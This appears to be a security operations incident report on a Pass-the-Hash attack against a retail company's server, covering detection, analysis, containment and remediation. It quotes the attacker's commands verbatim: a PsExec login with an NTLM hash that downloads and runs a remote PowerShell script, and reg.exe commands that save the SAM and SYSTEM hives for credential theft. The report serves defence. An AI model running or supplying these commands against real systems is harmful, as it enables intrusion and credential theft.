Pass-the-Hash via PsExec and Attempted Credential Dumping on SRV-APPS01 2025-10-24

Title: Pass-the-Hash via PsExec and Attempted Credential Dumping on SRV-APPS01
Date: 2025-10-24
Alert Type/Category: Pass-the-Hash lateral movement and attempted credential dumping
Severity: High
Analyst Name:
Case #: ALRT-2025-10-24-WKSTN-23-SRV-APPS01

DETECTION AND ANALYSIS

Alert Summary:

The Multi-source Correlation Engine detected Pass-the-Hash-style lateral movement via PsExec and subsequent attempted credential dumping activity targeting SRV-APPS01 from workstation WKSTN-23 initiated by user ola.hansen. Pass-the-Hash (PtH) is a technique where an attacker reuses stolen NTLM password hashes to authenticate to remote systems without knowing the cleartext password, enabling stealthy lateral movement and privilege escalation in Windows/Active Directory environments [1][2]. In this case, the attacker leveraged the domain service account SILVERLINE\svc_deploy together with PsExec to execute SYSTEM-level PowerShell on SRV-APPS01, download and run a remote script, establish an outbound connection to odd-lilac-weasel.zone:4444, and then attempt to dump local credential stores for further compromise.

On WKSTN-23, the user context ola.hansen first launched PowerShell with `-ExecutionPolicy Bypass`, and then executed PsExec from the user's Downloads folder to pivot to SRV-APPS01 using an NTLM hash for the svc_deploy account as authentication material, consistent with Pass-the-Hash tradecraft. The PsExec command line was:

```
psexec.exe \\SRV-APPS01 -u SILVERLINE\svc_deploy -hashes 9f1c2a4d7e8b0c3f5a6d1e2b4c7a8f01
-s powershell.exe -c "(New-Object
System.Net.WebClient).DownloadString('http://192.168.45.199/payloads/run.txt') | IEX"
```

This command uses a supplied NTLM hash for SILVERLINE\svc_deploy to start a SYSTEM-level PowerShell process on SRV-APPS01 that downloads and immediately executes a remote script from `http://192.168.45.199/payloads/run.txt`. On SRV-APPS01, the PsExec service PSEXESVC.exe (running under SILVERLINE\svc_deploy) spawned `powershell.exe` as `NT AUTHORITY\SYSTEM` with the same download-and-execute command, which then opened an outbound TCP session from 10.0.12.37:49822 to `odd-lilac-weasel.zone:4444`, indicative of command-and-control or remote shell behaviour. The remote script subsequently launched `cmd.exe` under SYSTEM with the following command:

```
cmd.exe /c reg.exe save HKLM\SAM C:\Windows\Temp\SAM.bak /y & reg.exe save HKLM\SYSTEM
C:\Windows\Temp\SYSTEM.bak /y
```

This command attempts to export the SAM and SYSTEM registry hives to disk for offline credential extraction using tools such as Mimikatz or similar credential theft utilities. The security controls flagged

this as “Attempted credential dumping: SAM/SYSTEM hive access,” blocked the `cmd.exe` execution, and terminated the associated PowerShell process, which also tore down the TCP session to odd-lilac-weasel.zone:4444. Based on the observed process chains, use of a hashed credential for SILVERLINE\svc_deploy, remote PowerShell execution as SYSTEM, outbound TCP on a non-standard port, and a blocked attempt to dump SAM/SYSTEM, our assessment is that this represents a high-confidence Pass-the-Hash-driven lateral movement and credential theft attempt originating from WKSTN-23 against SRV-APPS01. We recommend that you investigate this activity further, as the activity appears to be part of a broader effort to expand access by compromising additional credentials and systems.

References:

[1] MITRE ATT&CK – T1550.002 Pass the Hash (Use Alternate Authentication Material – Pass the Hash).
[2] Netwrix / Semperis / similar vendor guidance describing Pass-the-Hash as reuse of NTLM password hashes for lateral movement and privilege escalation in Windows/AD environments.

Key Details:

Customer: Silverline Retail Corp
Case: ALRT-2025-10-24-WKSTN-23-SRV-APPS01
Alert ID: ALRT-2025-10-24-WKSTN-23-SRV-APPS01
Alert Name: Pass-the-Hash via PsExec
Alert Category: Attempted Credential Dumping
Severity: High
Detection Time: 2025-10-24T10:16:28+02:00
First Event Time: 2025-10-24T10:15:03+02:00
Last Event Time: 2025-10-24T10:16:28+02:00

Source Host: WKSTN-23
Target Host: SRV-APPS01

Primary User: ola.hansen
Service Account: SILVERLINE\svc_deploy
System Account: NT AUTHORITY\SYSTEM

Source IP: 10.0.12.37
Remote HTTP Server IP: 192.168.45.199
Destination Domain: odd-lilac-weasel.zone
Destination Port: 4444

Process Chain (WKSTN-23): explorer.exe -> powershell.exe (PID 6160) -> psexec.exe (PID 6340)
Process Chain (SRV-APPS01): services.exe -> PSEXESVC.exe (PID 748) -> powershell.exe (PID 8020) -> cmd.exe (PID 8132)

File Path (PsExec): C:\Users\ola.hansen\Downloads\PsExec.exe
File Path (PSEXESVC): C:\Windows\PSEXESVC.exe
File Path (PowerShell): C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Command (Initial PowerShell on WKSTN-23): powershell.exe -NoProfile -ExecutionPolicy Bypass
Command (PsExec Invocation): psexec.exe \SRV-APPS01 -u SILVERLINE\svc_deploy -hashes 9f1c2a4d7e8b0c3f5a6d1e2b4c7a8f01 -s powershell.exe -c "(New-Object System.Net.WebClient).DownloadString('http://192.168.45.199/payloads/run.txt') | IEX"
Command (Remote PowerShell on SRV-APPS01): powershell.exe -c "(New-Object System.Net.WebClient).DownloadString('http://192.168.45.199/payloads/run.txt') | IEX"
Command (Credential Dump Attempt): cmd.exe /c reg.exe save HKLM\SAM C:\Windows\Temp\SAM.bak /y & reg.exe save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.bak /y

Registry Hive Backup Paths: C:\Windows\Temp\SAM.bak; C:\Windows\Temp\SYSTEM.bak

URL (Remote Script): http://192.168.45.199/payloads/run.txt

Detection Rule (Lateral Movement): Pass-the-Hash via PsExec
Detection Rule (Credential Dumping): Attempted credential dumping: SAM/SYSTEM hive access
Detection Rule (Network): Outbound TCP connection

Detection Action (Credential Dumping Command): blocked
Detection Action (PowerShell Process 8020): terminated

SHA256 Hash (powershell.exe on WKSTN-23):
8f7ce2f0d1f4e0a6a9a3a6c1c4ed2a6d98c3a21d6e0f4e1a9b2c3d4e5f6a7b8c

Consequence:

This incident indicates that an attacker (or red-team actor) had already obtained the NTLM hash for the service account SILVERLINE\svc_deploy and successfully used it to authenticate to SRV-APPS01 via PsExec, gaining SYSTEM-level code execution on a server. The remote PowerShell payload fetched from 192.168.45.199 and the outbound TCP connection to odd-lilac-weasel.zone:4444 show that the server was briefly under remote control and could have been used to deploy additional tooling, exfiltrate data, or stage further lateral movement, although the available telemetry does not show the full content of the downloaded script. The subsequent attempt to save the SAM and SYSTEM registry hives demonstrates a clear objective to harvest additional credentials for follow-on compromise; while this specific credential dumping command was blocked and the associated processes were terminated, the prior use of the svc_deploy hash and short-lived remote access mean that both WKSTN-23 and SRV-APPS01 must be treated as potentially compromised. If not fully eradicated, this activity could lead to broader Active Directory compromise, further Pass-the-Hash or Pass-the-Ticket attacks, and escalation towards domain-level control and access to sensitive systems and data.

CONTAINMENT

Executed Remediation Actions:

The following containment and eradication actions has been performed by our SOC:

- Confirmed that the credential dumping cmd.exe on SRV-APPS01 was blocked and the associated PowerShell process was terminated by security controls.

- Isolated SRV-APPS01 from the network via XDR containment to prevent further lateral movement and outbound connections.
- Isolated WKSTN-23 from the network via XDR containment as the originating workstation in the attack chain.
- Implemented temporary blocks for the domain odd-lilac-weasel.zone and IP address 192.168.45.199 across network and endpoint security controls.
- Blocked further execution of the identified PsExec binary by its hash within the XDR platform.
- Triggered targeted XDR/endpoint scans on SRV-APPS01 and WKSTN-23 to identify any additional payloads or persistence linked to the downloaded run.txt script.

Recommended Remediation Actions:

Our SOC recommends that you do the following containment actions:

- Reset the password for the service account SILVERLINE\svc_deploy immediately, rotate any associated secrets, and restrict its logon rights to dedicated management hosts only.
- Reset the password for user ola.hansen, enforce MFA re-enrolment, and review this user's recent activity and group memberships for signs of further compromise.
- Verify on SRV-APPS01 (and other critical servers) that no SAM.bak, SYSTEM.bak or similar registry backup files exist; if any are found, securely delete them and treat the host as compromised.
- Rebuild or reimage SRV-APPS01 and WKSTN-23 from known-good images if any additional suspicious artefacts or persistence mechanisms are identified during follow-up investigation.
- Remove or tightly control the use of PsExec and similar remote administration tools, allowing them only for approved administrators on hardened management workstations.
- Review recent authentication and security logs for SILVERLINE\svc_deploy and WKSTN-23 to identify any other unusual logons or lateral movement attempts to or from additional systems, and treat any affected hosts as in-scope for this incident.
- Assess and, where feasible, reduce reliance on NTLM for authentication on critical servers (e.g., preferring Kerberos and enforcing restrictions on NTLM usage) to lower exposure to Pass-the-Hash techniques.